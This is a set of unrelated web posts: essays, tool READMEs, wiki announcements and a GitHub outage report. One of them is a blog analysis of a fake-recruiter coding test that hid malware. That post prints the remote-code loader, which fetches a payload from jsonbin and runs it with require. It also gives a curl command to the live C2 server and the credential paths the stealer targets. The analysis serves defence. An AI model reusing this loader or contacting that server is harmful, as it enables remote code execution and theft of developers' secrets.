I think we also need inspiration. There is a romance in biology, as in any other science, that a movie like Good Will Hunting could bring out. We need heroes. Whoever delivers us from this pandemic in the form of a slam dunk vaccine, or a cheap quick reliable test, should become a household name, not for their own glory but for our kids—a Feynman for them to dream about someday becoming.


Reading list


  	The Machinery of Life, David Goodsell

  	Bionanotechnology: Lessons from Nature, David Goodsell

  	A Computer Scientist’s Guide to Cell Biology, William W. Cohen

  	The Eighth Day of Creation: Makers of the Revolution in Biology, Horace Freeland Judson

  	The Medusa and the Snail: More Notes of a Biology Watcher, Lewis Thomas




See jsomers.net for more of my writing.
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Vomit converts Claude's token vomit into English by piping it through a local LLM. It's fully local (no telemetry) and has no external dependencies.

I wrote a small blog post about this project: https://zachahn.com/posts/1787191554

Disclaimer:


	The local LLM can only see what Claude tries to communicate (no access to any actions or files), so it hallucinates a bit

	It's pretty slow

	This is totally vibe-coded, only tested on Mac

	There is a possibility you'll completely miss Claude's message. You can use something like AgentsView to get the original messages, as Vomit does not touch anything during runtime (except technically it writes files to your TMPDIR)




Install


# Install the binary to your GOPATH
go install github.com/zachahn/vomit@latest

# Setup connection details to your LLM
vomit init

# Instructions on how to replace Claude's output via hooks
vomit scrub -claude



Usage


In addition, there's a non-invasive mode if you want to run Vomit on the side.


	vomit list. List Claude session identifiers

	vomit tail [<session_identifier>]. Translate Claude's tokens for the specified session, or follow the latest one

	vomit help. See for more commands



This should work with:


	Llama.app

	Ollama

	Anything that uses the OpenAI API?



If you don't have a local LLM set up already, I think I recommend using Llama.app, then downloading GPT-OSS 20B through it. Run the init subcommand after you set this up.


License


GNU GPLv3





Original: https://github.com/zachahn/vomit · Discussion
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photo cred: my dad
Here’s a story from 30 years ago that would make no sense today.
It’s 1992. Pearl Jam’s debut album Ten is selling well. But then MTV puts the music video for their song “Jeremy” in heavy rotation, and the band rockets into superstardom—shows suddenly sold out, fans smashing record store windows, the whole shebang.
That’s familiar enough, but what happens next is not. Pearl Jam responds to this hullabaloo by refusing to make music videos for the next five years. They decline photoshoots and interviews. When their producer tells them that their song “Better Man” is a surefire hit, they cut it from their second album.1 Nevertheless, that album sells nearly a million copies in its first week, setting a record. Then it sells six million more, staying at #1 on the Billboard chart for over a month.
They say that the past is a foreign country, and reading a Pearl Jam profile from the early 90s, it certainly feels that way. The writer takes for granted that fame is inherently bad. And not just because fans might, say, break into your backstage dressing room and steal your notebooks—which they did—but also because commercial success and artistic integrity are so obviously at odds with one another. Kurt Cobain had mocked the band for catering to the mainstream, and the criticism clearly stung. It was understood that being popular was somehow, paradoxically, uncool, and that Pearl Jam owed everyone assurances that they hadn’t gotten too big for their britches.
I am just barely old enough to remember this era, when “selling out” was a bad thing you did with your career, rather than a good thing you do with your stadium tour. Blank Space: A Cultural History of the 21st Century, the book where I first read this story about Pearl Jam, quotes the 90s chronicler Chuck Klosterman: “the concept of ‘selling out’ [...] is the single most nineties aspect of the nineties”. I gained consciousness at about the time that Backstreet Boys, NSYNC, and the Spice Girls gained worldwide fame, and I understood that it was hip to hate them.2 This didn’t stop them from selling millions of records, of course. But there was a sizable sector of society that refused to join in, a clutch of (sometimes snobby) purists who were ready to turn on anyone who got too big or too rich. As the music writer Chris Dalla Riva points out, around this time, a rock band could lose permanently lose their street cred for appearing in a Miller commercial.
That feeling part of a larger anti-consumerist vibe percolating through culture at the time. This was the era of Super Size Me and the anti-World Trade Organization protests that came to be known as the Battle of Seattle. My parents furnished me with copies of Eric Schlosser’s Fast Food Nation and Naomi Klein’s anti-capitalist manifesto No Logo.3 My English teacher made the whole class read anti-consumerist YA novels like Feed and The Gospel According to Larry. I got so caught up in the fervor that I almost showed up to a school dance with a handmade sign that said “I AM PROTESTING CONSUMERISM”. I chickened out at the last second, but clearly there was some potent zeitgeist going on if a 13-year-old was about to stake their reputation on, I guess, not buying stuff?
Fast forward to today, and that zeitgeist is long gone. Meghan Thee Stallion is a Popeyes franchisee, Drake would like you to try online gambling, and Maroon 5 is covering Bob Marley’s “Three Little Birds” as a tribute to Hyundai.4 Shortly after she charted her first hit, the rapper Ice Spice was partnering with Ben Affleck and Dunkin’ Donuts on an Ice Spice Munchkins Drink.5 We’ve got punk icon Iggy Pop selling insurance and Bob Dylan appearing in a Victoria’s Secret commercial.6 Lollapalooza once featured alt rock and heavy metal; these days, you can catch a set by DJ D-Sol, better known as David Solomon, the CEO of Goldman Sachs. And if you love Lady Gaga’s album Chromatica and the associated HBO special Gaga Chromatica Ball, then don’t miss these limited edition Lady Gaga Chromatica-themed Oreos!


Hyper-commercialism is nothing new, in music or anywhere else. (See, for instance, the band KISS’ officially licensed Kiss Kasket). People who bemoan our era of “late capitalism” rarely realize that phrase is 100 years old. The only thing that’s unprecedented about these craven cash-ins is how well they seem to be working. Selling out no longer carries a stigma—if anything, fans are excited for tie-ins between their favorite bands and their favorite brands, no matter how shameless. The Chromatica Oreos reportedly flew off the shelves, earning a thumbs-up even from the Washington Post’s food critic. Some people complained about the texture and the color, or how it was simply a re-release of the much-hated “golden” Oreo, but they did not complain that it is cringe, perhaps even depraved, for a musician to collaborate with an international food conglomerate to stick her name on a million mass-produced sandwich cookies.
And if that doesn’t send Kurt Cobain spinning in his grave, wait until he finds out that Gen Z thinks Nirvana is a clothing brand.
How did the punk ethos die?
W. David Marx, the author of Blank Space, has a theory that I think is correct, but incomplete. He blames an ideology called poptimism: the idea that popular art (and especially pop music) is just as meritorious as any other kind of art. Poptimism was meant to be a reaction to rockism7, a strain of cultural snobbery that insisted rock ‘n’ roll was the only authentic form of art—if it ain’t a white guy with a guitar, it ain’t real music! Both sides of that debate might sound stupid now, but the poptimist critique made sense back when people were flocking to baseball stadiums to blow up piles of disco records:

These folks could use a dose of poptimism (source)
Unfortunately, Marx says, the critics took poptimism too far, and they brought the discourse with them. They embraced pop music not only because they had suddenly discovered the musical genius of Britney Spears, but also because they realized the political winds had changed. In the words of one music writer, poptimism was “a kind of penance, atoning for past rockist misdeeds”. Saying that some art is better than other art started sounding too much like saying that some people are better than other people. And once you’re unwilling to judge art for its artistry, you’re stuck judging it by its popularity.
I don’t doubt Marx’s thesis that culture writers abandoned their posts, but I do doubt that this was enough to kill the anti-consumerist vibe on its own. Something even bigger was happening at the same time: while the critics were changing their tune, they were also getting tuned out. The internet decapitated art criticism, elevating the YouTube commenter to the same level as the Pitchfork editor. And although there are plenty of problems with professional tastemakers—they can be condescending and exclusionary, they can have their heads up their butts, etc.—they are at least, in theory, concerned with separating art from schlock.
Casual consumers have no such hangups. They don’t care whether every pop song they listen to is written by the same middle-aged Swedish guy; they just want their eardrums vibrated, their retinas tickled, and their pleasure centers stimulated. And so, the more you cater to the consumer over the connoisseur, the more you’re going to be serving up slop. The internet makes this possible; competition makes it irresistible.
Together, the decline of art criticism and the ascent of art populism can explain how corny, lowest-common-denominator kitsch went from being a guilty pleasure to simply being a pleasure. The line separating art and entertainment went undefended, and then it was washed away by a tsunami of swill.
However, that doesn’t explain why we became so tolerant of shameless greed and self-promotion. As we lost the ability to distinguish between Joni Mitchell and Celine Dion, why did we also lose the ability to distinguish between a single and a jingle? Listening to Lady Gaga is one thing, but where did we acquire our appetite for her Oreos?
The answer to that is, I think, the Great Switcheroo.
In every country on Earth, poor people outnumber rich people. Many of those countries are ostensibly democratic. This leaves us with a puzzle: why don’t the poor people vote to take all the money away from the rich people and redistribute it amongst themselves?
John Steinbeck’s famous explanation was that, in the United States at least, poor people see themselves as “temporarily embarrassed millionaires”.8 You don’t want to outlaw affluence if you might have some for yourself one day. That wasn’t a crazy thing to think when Steinbeck was writing in the 1930s, as some of the richest men in America had come from modest means—Rockefeller, Carnegie, Ford, Edison, Hershey, and Chrysler. If fortunes are popping into existence all the time, it may seem like the wealthy are a group to be joined rather than beaten.
The average American is not feeling so upwardly mobile these days, and so people aren’t as sanguine about the super-rich as they might have once been. When YouGov surveyed Americans about their opinions of 40 different rich people, not a single one of them was liked by more than 50% of the population. (For instance, 90% of respondents know who Jeff Bezos is, but only 19% approve of him). An increasing number of people—and especially young people—say that billionaires are a bad thing for the country:


As the public has soured on the rich, however, they seem to have sweetened on the famous. In similar YouGovpolls, celebrities do extraordinarily well compared to billionaires. Lady Gaga, for instance, has 97% recognition and 61% approval. Samuel L. Jackson: 96% recognition, 81% approval. Even Paris Hilton’s 40% approval rate is better than every single rich person except Warren Buffet (he’s at 41%).9 Not bad for someone who once described her life’s mission as, “I want to be famous. [...] And I want to monetize that, like a lot.”10
This Great Switcheroo happened, I think, because as it got harder to become rich, it got easier to become famous. It’s hard to remember now, but going viral on the internet was once a bad thing. Back in 2002, when Star Wars Kid got famous for pretending to be Darth Maul in a home video, he got death threats, not brand deals. His classmates bullied him so badly that his family sued them; meanwhile, his school asked him not to come back. The “Numa Numa” Kid was originally “distraught” and “embarrassed” by his fame (he later tried to capitalize on it, mostly unsuccessfully). Afro Ninja, a Black stunt performer whose disastrous audition tape went viral, said of his unexpected notoriety, “If I had a choice to do it all over again [...] I would pass”.
Once the attention economy built out its financial infrastructure, however, overnight fame suddenly went from painful to profitable. The YouTube Partner Program (2007), Stripe (2010), and Patreon (2013) all made it easier to turn eyeballs into dollars. The first wave of internet celebrities peaked too early to cash in, but subsequent waves became icons rather than pariahs. Just as the Americans who lived through the Gilded Age watched industrial moguls build business empires, we watched tweens become millionaires in their bedrooms. They got Andrew Carnegie; we got Mr. Beast.11
As a result, the attention economy is the one corner of the overall economy where people are still feeling upwardly mobile. 57% of Gen Z (and 41% of older adults!) say they would like to be influencers. And why not? You are not going to escape the underclass by driving an Uber or dusting the server racks at a data center, but you might be able to do it by posting mukbang videos.
I think this is why we now tolerate such blatant greed among famous people: we think we have a chance of becoming one of them. We once saw ourselves as temporarily embarrassed millionaires; now we see ourselves as temporarily unknown celebrities.
(Of course, the celebrities we look up to are also millionaires, but their riches are incidental to their fame, rather than the other way around.)
It doesn’t matter whether you’re actually trying to become TikTok famous. The fact that there is a path between us and the stars—however tenuous, however unlikely to be trod—makes it feel like they are, somehow, just like us. You and I could never be Jeff Bezos, Bill Gates, or Sam Altman, and so they seem distant and despicable. But some part of us believes that we could be Billie Eilish, Ed Sheeran, or Taylor Swift, and so we exempt them from the noblesse obligethat we used to demand of the aristocracy.
In fact, while most of us feel like billionaires owe us something (see: the California Billionaire Tax, heading to ballots this fall), many people apparently feel like they owe something to their favored celebrities. Millions of people have joined the ranks of fan clubs like the Rihanna Navy, the BTS Army, Ariana Grande’s Arianators12, Justin Bieber’s Beliebers, Beyoncé’s Beyhive, and so on. The paramilitary-esque branding of these groups is not accidental. These are the folks writing guides on how to inflate BTS’s streaming statistics, issuing death threats to a music writer who dared to give Taylor Swift an 8.0/10, and enlisting themselves as copyright police when an Ariana Grande album leaked early, hunting down and flagging links to the pirated music so it wouldn’t hurt her advance sales. As the author of that BTS guide put it in an interview with The New York Times, promoting her favorite band feels like “we are also promoting our own voices, our own struggles, our own hope for a better world.”
This has got to be the greatest marketing coup in history: convincing fans that they are “promoting their own voices” while they are helping a record executive afford his second yacht.
I’m being harsh, but look around: are you pleased with the state of our culture? Are you excited by music videos that double as commercials for Wonder Bread and Miracle Whip?13 Do you enjoy jockeying with ten million other people for Taylor Swift tickets, nine million of whom are attempting to invest in them as speculative assets? Does it warm your cockles when The Rock brags on Twitter that Red One, his Christmas movie, has “a long shelf life and multiple verticals - kudos to our Amazon partners for their strategic win”? This is what decades of poptimism, populism, and celebrity worship have gotten us:
If we want this to stop, the solution is simple: we have to stop eating Lady Gaga’s Oreos. We have to stop pretending that celebrities are just like us, and that their success is our success. We have to redraw the line between art and entertainment, and more importantly, we have to redraw the line between art and advertisement.
I have no problem with artists making money—everybody has to pay their rent somehow. I don’t even have a problem with artists getting rich—if you can write a song that makes the whole world sing, then you deserve a big fat check.
I have a problem with artists doing commerce under the guise of art. I listen, I read, and I watch because I want to inhabit, even if just for a moment, the mind of another human. I want to feel what it’s like to be them, and in so doing, I want to better understand what it’s like to be me. But if I journey to the center of someone’s psyche and all I find there is a billboard for Pizza Hut, I’m turning around. If your art is just one node in your business empire, if your albums are merely commercials for your cologne, if you’re trying to turn your first billion into your second billion, you are no longer an artist at all. You are a credit default swap with a discography attached.
If we can revive the stigma of selling out, maybe we can also revive the rest of the punk ethos that we seem to have lost. To the extent that anti-consumerist sentiment survives at all today, it mainly exists in two diminished forms. One is the environmentalist variant, which says it’s naughty to buy stuff not because it’s bad for your soul, but because it’s bad for the Earth. That’s a fine way to feel, but there are plenty of ways to sell your soul without increasing your carbon footprint.
The other is the anti-capitalist variant, which says it’s bad for rich people to have so much more money than poor people do. That’s also a fair critique, but if you’re not careful, you can make it sound like it’s actually awesome to own tons of stuff, and the only problem with Birkin bags and Patek Philippes is that some people don’t get to have them.
We’re missing the most potent part of that 90s counterculture, the part that said there’s nothing noble about the act of consumption itself. I’d like to live in a world where a heavy metal musician who shills for margarine would become a laughingstock rather than a millionaire. Our world used to be a little more like that, and I think it could be again. We don’t need to revive rockism—it was always stupid to think that you can only make good art with a Fender Stratocaster. But we do need to revive our desire for seriousness among our cultural elite. If we’re going to let these people into our lives, they ought to stand for something more than themselves. They should to be willing to put their art ahead of their pocketbook and their follower count. And, ideally, they should not also be the CEO of Goldman Sachs. I have seen the future that awaits us if we fail to bring punk back, and it looks like this:
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Also here's a cool unrelated photo of a chipmunk
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Look at this little guy. They don't know what an AI model is and they're so much better off
It’s nothing short of an indictment of our society at large that Aaron Swartz, one of the co-creators of the RSS protocol (among many other things) was effectively assasinated by our legal system for “illegally” downloading about 70 gigabytes of academic articles from JSTOR - charged so excessively to be made an example of (we're talking 35 years in prison, $1million USD fine, and asset forfeiture) to the point where he felt the need to take his own life rather than deal with the court circus and impending financial ruin - while Facebook (oh I’m sorry Meta) has torrented 80 TERABYTES of books to train their AI models with virtually no consequences other than a court case they will most likely get some sort of financial slap on the wrist for while their AI models continue to print them money.

Swartz' use case was the dissemination and archival of knowledge; Meta's use case is powering up their proprietary plagiarism code that cooks the environment while giving CEO's psychosis and making one of the world's richest people even richer.

I never met Aaron but I get mad on his behalf so often and I don't know what to do with it other than get more radicalized.

Maybe that's for the best.



Anyway, here's your end-of-post cat photo. Her name is Lilith and she's wondering why we don't do something about all these tech billionares.
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Table of contentsThe current situation on the IT job market is hard. So you are lucky when a recruiter on LinkedIn reaches out to you having a suitable match
for a new position based on your prior experience. It might not be what it seems at a first glance.
“A relevant opportunity” with part-time remote work and a great hourly compensation is what surely pulls a lot of current Software Engineers
into the conversation when a new job offer on LinkedIn comes in - so it happened to a friend of mine.
The job offer was matching very well with the former experience and paired with speeding up the interview process with a quickly sent coding challenge after a couple of messages on LinkedIn.
Info
The initial contact was made in the name of a company that did not know about this. So it is pure phishing just to steal your secrets and credentials. The company is well aware of that and already published a post on LinkedIn explaining the situation.

Before you start with the test, you might be suspicious about the following:
	The person contacting you is not part of the company on LinkedIn
	There is no first “Get to know you”-call before you receive the coding test
	The test might be in a different programming language than you’re skilled in
	The code is available on Bitbucket, which IMHO is uncommon
	The sender email address is a @gmail.com instead of an official one from the company

Hindsight is 20/20 so no judging here.
How it begins
The task is to solve various problems and extend logic in a given TypeScript codebase. The project you receive is
	about 180 files
	a mix of dead and working code
	no obfuscation or minification

.. but with some calls to external https://api.jsonbin.io endpoints. If you did not read the 180 files of code, you are hooked.
Here is the fishy code part that starts downloading further packages to inspect your system.
Warning
That is the endpoint, that ships more garbage. Watch out!
The complete source code can be found in this Bitbucket repository.

	1
2
3
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5
6
7

	const initPriceConfig = async () => {
    const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
    const res = (await axios.get(`${src}`));
    const handler = new (Function.constructor)('require', res.data.record.model);
    if (handler) handler(require);
};
initPriceConfig();




The internal logic of the application always runs this function first by executing npm run dev, npm start, and so on. As it hands require in, it can:
	require('child_process') for shell out
	require('fs') for read/walk the filesystem, write persistence
	require('net')/require('https') to open its own exfiltration channel
	read process.env directly, which in this app means MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY

A lot of things you desperately do not want to happen on your system.
A closer look: second stage loader
The response from the jsonbin.io endpoint is effectively a remote-code execution loader.
The record.model payload is 24,686 chars of obfuscator.io JavaScript wrapped around a small webpack bundle.
After deobfuscating the returned payload we get another bunch of obfuscated JavaScript.
This code pulls data from the C2 (Command & Control) server http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.
I was able to pull the next piece of code using this
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	curl -sS -v --max-time 30 \
  -H 'Authentication: jwt' \
  -H 'Accept: application/json, text/plain, */*' \
  -A 'axios/1.5.3' \
  -D headers.txt \
  -o body.bin \
  'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'




It needs an Authentication header, with jwt as the token. This endpoint gives more
obfuscated JavaScript code, in particular the following four modules:
scdata: an interactive RAT (Remote Access Trojan)
node-pty full shell, ssh2 for pivoting and PEM key theft, screenshot-desktop+sharp for screen capture, clipboardy, and @nut-tree-fork/nut-js for synthetic keyboard and mouse. It also fingerprints for VM vs. bare metal.
ldata: browser credential and wallet stealer.
Chrome/Edge/Brave/LT across all three OSes, every profile: Login Data, Web Data, Local Extension Settings LevelDB stores, and macOS login.keychain.
It can target 28 wallet extensions like MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 more. It loops indefinitely, re-uploading roughly every minute.
File grabber: walks the home directory
It tries to find private key, secret phrase, *metamask*, bitcoin, solana, .env, *.pem, *.p12, *.pfx, plus documents and images, and whole .ssh, .aws, .gnupg and .docker directories. And, it enumerates all drive letters on Windows.
Clipboard monitor: monitor your clipboard
It polls the clipboard and beacons it out, hiding behind the log name npm-compiler.log.
When the victim connects out to 147.189.174.138:7321, the server sees the source address on the accepted socket, exactly as any web server sees a visitor’s IP. No discovery, no scanning, no registration of an address. This is precisely why outbound-only design is so convenient for the attacker: it works behind NAT, CGNAT, a corporate proxy, or a home router with zero configuration, and it doesn’t matter if the victim’s IP changes.
You opened the door to hell while you just wanted to get a job.
Why can it access all your files?
The malware gets the home directory of the current user and then builds the paths to look at.
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	rootDir  = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
              path.join(os.homedir(), ".ssh"),
              path.join(os.homedir(), ".azure"),
              path.join(os.homedir(), ".foundry"),
              path.join(os.homedir(), ".config"),
              //...
]




It never asks for elevation. It doesn’t need root, UAC, or sudo, because nothing it wants is root-owned. SSH keys, AWS credentials, browser profiles, wallet data, .env files - all of it is user-owned by design, because you need to read it routinely. A process running under your account inherits that access. Node isn’t doing anything exotic here as cat ~/.ssh/id_rsa from a shell would work identically.
On Windows it goes further than home, enumerating drive letters via PowerShell and calling scanDir on each root, so mapped network drives and secondary disks are in scope too.
Some precaution for next time
A couple of things could have helped, although there is never 100% protection.
You would just not expect such a thing from a piece of code you get for a job opportunity.
	AI: a weak protection
Ask your AI of choice to scan the project for any anomalies - obfuscated code, minifications, calls to external endpoints, unusual code patterns, etc. This is only a partial solution, as it would tell you the call to the jsonbin.io but it cannot see what the returned values are.
	Docker: a partially weak protection
Putting things into Docker and only executing the code inside isolates your host system and does not reveal any stored secret - as long
as you do not mount host data into the container.
	Vagrant: probably your best choice
Running the code in a completely isolated system might even be the best choice. Snapshot your VM before and restore it afterwards. If
there is no UI/Desktop environment the module for leaking browser data or screenshots is self-limiting. Still, the RAT and file grabber work.

Note that the RAT actively fingerprints for VM usage. It runs system_profiler, reads /proc/cpuinfo, and greps for vmware, qemu, microsoft corporation, then tags the beacon (VM) or (Local). That flag most likely feeds operator triage: a VM is more likely to be a sandbox and less likely to hold real wallets, so it may get deprioritised or handled more carefully.
A note on the AI part: Claude Code was not able to detect any strange things when just prompted to scan the code base for unusual patterns.
What now
When the damage is done you probably should:
	revoke and rotate SSH keys
	change passwords
	check if you have any plaintext secrets or information stored that needs to be changed

… and reinstall your OS - better safe than sorry.
Meanwhile the fisherman’s (fake recruiter) profile has been deleted.
This post was created on
17 Aug 2026
and updated on
20 Aug 2026
.
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Hello everyone. I've been working on this experimental editor called Huzzah.I've been working almost exclusively with coding agents since January of this year, and over the past few months I began to feel utterly exhausted by them. They're great, but I'm finding it more and more tedious to write full sentences for every change I want. Not only that, but it seems there's a complexity limit for codebases - beyond a certain point the agent begins confusing itself.
I'd like to go back to writing code, but I don't want to go all the way back to fully manual coding. So I've come up with this interaction paradigm where you:

  1. write pseudocode in whatever way makes the most sense to you
  2. on save, the editor synchronizes your work to real source code
  3. the pseudocode is persisted alongside the generated code, making your prompt effectively a stored record of intent.


It may not work for every use case, but in my initial playthroughs I've found it very enjoyable.Right now it's just a proof of concept - installation instructions are here in the readme: https://github.com/danielvaughn/hz
You can also watch a video of it in action here: https://x.com/danielvaughn/status/2090456808431165715
Cheers!
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			📣 Announcements

			
Update 24.07.2026
Another update!

Editor changes:


	The article feedback interface now also posts the feedback as a new section on the article's talk page.

	We've added a toggleable "Your impact" panel on your own user page displaying total edits, last edited, longest edit streak, a 60-day activity chart, and how many views the articles you've edited have received. At the moment this is off by default, and available to enable at the bottom of the first page in Special:Preferences.

	Tightened rate limits on the article feedback button.

	User registrations no longer post to the wiki's Discord feed.


Mod changes:


	A link to the "mass rollback" page now appears in the tools dropdown when viewing a user's contributions.

	The "Give award" link now appears in the tools dropdown when viewing a User or User talk page.

	Fixed award grant/revoke log entries sometimes incorrectly showing the staff member who performed the action as the recipient.


Misc. changes:


	Various backend infra updates

	General codebase tidy-up, as well as updates to make contributing easier


Speaking of moderators and moderator tools, if you're a regular wiki contributor please remember to check out our moderator applications page!

Thanks for reading, and happy editing!

2026-07-17
Hello everyone!

Pleased to announce that we're shipping a big new update for the wiki today that should address a few longstanding issues, as well as improve the integrity of the wiki.

Editor/User features


	Each mainspace article now has its own 'Give feedback' button on the right-hand side of the toolbar, which lets you provide feedback on an article. It will post the feedback into the #wiki channel on Discord, and open a widget that lets people see their feedback in the edit feed (in the next update, it will also add the feedback to the discussion page).

	A number of backend anti-spam features have been implemented, with more to come!

	Logging out now gives you an 'Are you sure?' prompt (no more accidental one-click signouts!).

	Added support for uploading OpenDocument Text (.odt) and OpenDocument Spreadsheet (.ods) files.

	The base MediaWiki version has been upgraded to 1.46, and several extensions have been updated. This should generally improve the performance and security of the wiki.

	Non-confirmed users are no longer able to edit Templates.

	InstantCommons is now enabled, so media hosted on Wikimedia Commons can be used directly in articles without re-uploading it locally.


Moderator features


	Admins now have access to a panel that can enable/disable 'lockdown mode', where account creation will be temporarily disabled, and non-confirmed users will no longer be able to make edits. This can be found at Special:SiteLockdown.

	Staff with the new 'rollback-manager' permission also now have the ability to perform mass rollbacks, where a large number of edits made by a single user can be simultaneously reverted. This can be found at Special:MassRollback.

	Awards can be manually created and handed out by staff using the interface at Special:GiveAward. These will appear at the bottom of user pages.


As an aside, we've also now started to index on Google! A few hundred of our pages can be searched for, though it may take some time for their placement to climb up the ranks.

Big thank you to Jake for his hard work on the update, and for everyone here for keeping the wiki rolling!

2026-06-15

Just wanted to share a few announcements and updates.

First and foremost, we've enabled temporary accounts for anon edits on the wiki, so that IP addresses will no longer appear in place of a non-logged-in user's username when they edit anonymously. This makes editing without an account a bit more private, and reduces the chance of publicly exposing anything if you accidentally make an edit whilst logged out (IP info is still retained on the backend though, so that admins can use it to spot troublemakers).

We've also improved the links between the CRW's Discord and Zulip - the #off-topic, #privacy, and #tech-news channels are now bridged! (Zulip folks can find all bridged channels as topics under #Discord-bridge).

2026-03-27

We'd like to announce the launch of two new projects on the wiki:


	Project Laws aims to increase the number of articles about consumer-rights-relevant laws from around the world, so that the wiki can be a useful resource for people trying to find out what the laws are where they live, or for people looking to compare and contrast the laws of different countries;


	Project Maintain brings together a number of the tasks that need to be done on a regular basis to keep the wiki ticking over, and points you in the right direction!


Also, remember to sign up for this month's Zoom hangout and get yourself on the mailing list for the meeting link by emailing [email protected] with the subject line 'monthly hangout'! The hangout will be at the same time as last month - on the first Sunday of the month at 20:00 UTC. If you signed up last month, you'll still get the email.




		

			🧰 Consumer Tools

			

Ad & tracking blockers


	
	Pi-hole – Self-hosted network-based ad blocker.

	uBlock Origin – Efficient browser-based ad and tracker blocker.

	Adnauseum - Browser-based ad and tracker blocker built off of uBlock Origin that also clicks ads to obscure your digital fingerprint.







Anti-scam resources


	
	Have I Been Pwned – Check if your email/password was exposed in a breach.

	CFPB – File complaints and view alerts about financial services.

	VirusTotal / Hybrid Analysis – Scan files for potential malware.

	Triage – Online sandbox for analyzing executables.







Archival tools


	
	Wayback Machine – World's largest internet archival service

	Ghost Archive – Secondary archival service.

	Megalodon – Secondary, Japanese archival service. Can archive YouTube comments.

	PreserveTube – Specifically for archiving YouTube videos.

	SingleFile – Browser extension to save website EULA/privacy policy as html locally

	ArchiveBox – Self-hosted website archival tool







Corporate accountability & recalls


	
	Better Business Bureau (BBB) – Lookup business complaints and file your own.

	SaferProducts.gov – U.S. product recall and complaint site.

	FDA Recalls – Drug and food recall database.

	Safety Gate – EU product recall and report site.







Legal & complaint filing


	
	Consumer Reports – Independent product reviews and ratings.

	Ripoff Report – Public consumer complaint database.

	ClassAction.org – View or join consumer class-action lawsuits.







Repair & Open designs


	
	iFixit – Open repository of device repair instructions.

	Open Source Ecology – Open source machinery designs.







Price & product transparency


	
	CamelCamelCamel – Amazon price tracker to detect deceptive price drops.

	Keepa – Detailed price history and deals on Amazon products.







Privacy & surveillance tools


	
	SimpleOptOut – Direct links to opt out of data brokers.

	[$] EasyOptOuts – Automated data broker opt-out service.

	Exodus Privacy - Analyzes privacy concerns in Android applications. Discover unwanted permissions and tracking libraries in common apps.







Subscription & dark pattern tracking


	
	Trim – Finds and cancels unwanted subscriptions.

	[$] Goodbudget – Budgeting app with debt tracker.

	Terms of Service; Didn't Read / PrivacySpy – Summarizes privacy policies and rates companies by trustworthiness.

	Deceptive Design – Defines, identifies, and catalogs dark patterns and deceptive design practices in various software and services.

	Dark Pattern Games – A game review website devoted to helping you find games that don't use psychological tricks to manipulate you into becoming an addicted gamer.






[$] – paid service, subscription needed
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    Making “anti-ai” fonts that obfuscate or scramble text is a fools errand. For fonts that scramble text, it's an accessibility problem, since the scrambled text is what screen readers and other accessibility tools will parse. Already, you've cut out many of the humans you're trying to reach.

In case you aren't aware of what I'm referring to, here are a few examples:


	Decoy font

	Shield font

	Ghost font



Edit: I'd like to preemptively clarify I don't have anything against these specific examples, nor am I trying to invalidate the work that went into creating them or any other examples of anti-AI fonts. This post is meant to critique the idea itself. I'm not trying to put-down anyone here!

There is just no way to do this accessibly, since an accessible solution will require machine-accessible metadata. This pushes us back to the giant issue of human verification, and all the privacy and security concerns associated with it. Ultimately, trying to solve the problem of selectively granting access to metadata for disabled people will lead towards filtering content through some centralized identity verification system. Unless you're a Nazi or some sort of sociopath, creating large lists of disabled people is not a road I think we want to travel down.

The public posts and discussions being had about this subject are already informing AI companies on how to train their multimodal models to get around these obfuscations, most of which have already been broken. I'd argue every new font and tech demo is effectively a benchmark, daring AI firms come up with solutions to sidestep them. And they will be sidestepped, one way or another. If a human can see the information, that means there is a way the information can be parsed. "Ghost" fonts will become just another scraping obstacle with its own set of contingencies.

Some of the more elaborate demos I've seen involving motion graphics and videos are impractical for normal use on websites and therefore are irrelevant as serious long-term solutions to this problem. Besides, if an effective obfuscation method somehow gains widespread use, then a much higher priority will be placed on breaking it, eventually rendering it useless.

A cat-and-mouse game like this is pointless if it results in a world where all websites are highly obfuscated, requiring computationally expensive systems to access the content legitimately or illegitimately. The end result will probably be some sort of copy-protection system which will benefit those who want to censor the web and create paywalls and other gatekeeping methods to block access to content. We're better off with the web as it is now, written entirely in plaintext. Besides, obfuscation goes against the spirit the World Wide Web was founded on: free and open access to information for the benefit of humanity.

I don't think there will ever be a silver bullet for this problem. While the speed at which their capabilities will increase is highly debatable, AI systems are never going to start getting dumber. Like it or not, all publicly available information will inevitably become accessible to anyone and anything that has permission to access it. This is the baseline scenario people need to plan around.
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On August 17, GitHub experienced an outage that lasted 7 hours and 47 minutes. It disrupted github.com, authentication, GitHub Actions, APIs, pull requests, issues, and Copilot, affecting developers and organizations around the world. If you were trying to ship software that day, we let you down.




This was our second significant incident in August, following an actions failure on August 6. In March and April, I shared the work underway to improve GitHub’s reliability. We have made progress, but these incidents make clear that we must accelerate this work.




What happened




Our investigation found that the outage began when traffic reached a new peak, and a critical infrastructure component in our Central US data center failed to scale with it. The resulting capacity pressure spread through our systems, causing authentication failures and disrupting multiple GitHub services.




Recovery required several coordinated actions. Teams rerouted traffic, isolated affected infrastructure, and restored services in stages. Most GitHub services recovered earlier that day, but some Copilot services took longer. Errors in those services triggered a client-side retry loop that increased traffic during recovery. We had to mitigate that behavior before we could safely restore traffic. The full root cause analysis includes a detailed technical timeline.




Neither outage was caused by a code or configuration change. Both incidents were capacity failures at their core. We failed to scale critical components before demand exceeded their capacity. Since April, monthly commits have grown from 1.4 billion to 2.9 billion. That growth explains the pressure on our systems, but it does not excuse these outages.




[image: Three side-by-side dark-themed line charts show strong growth from 2023 to 2026: merged pull requests per month rising to about 130M, commits per month rising to about 2.9B, and new repositories per month rising to about 24M, with acceleration in 2025–2026.]



What we have done and what comes next




As part of the reliability commitments we made earlier this year, we have focused on three priorities: adding capacity, improving efficiency, and removing architectural bottlenecks. We have since added more than 3 million CPU cores, 120 petabytes of high-speed storage, and significant network capacity. We installed as much hardware as available power allowed in our existing data centers while accelerating our migration to Azure.




Today, Azure serves roughly 58% of GitHub’s platform load and half of all Git operations, up from 12% of platform load in May. This expanded footprint has also supported the growth in GitHub Actions job runs shown below.




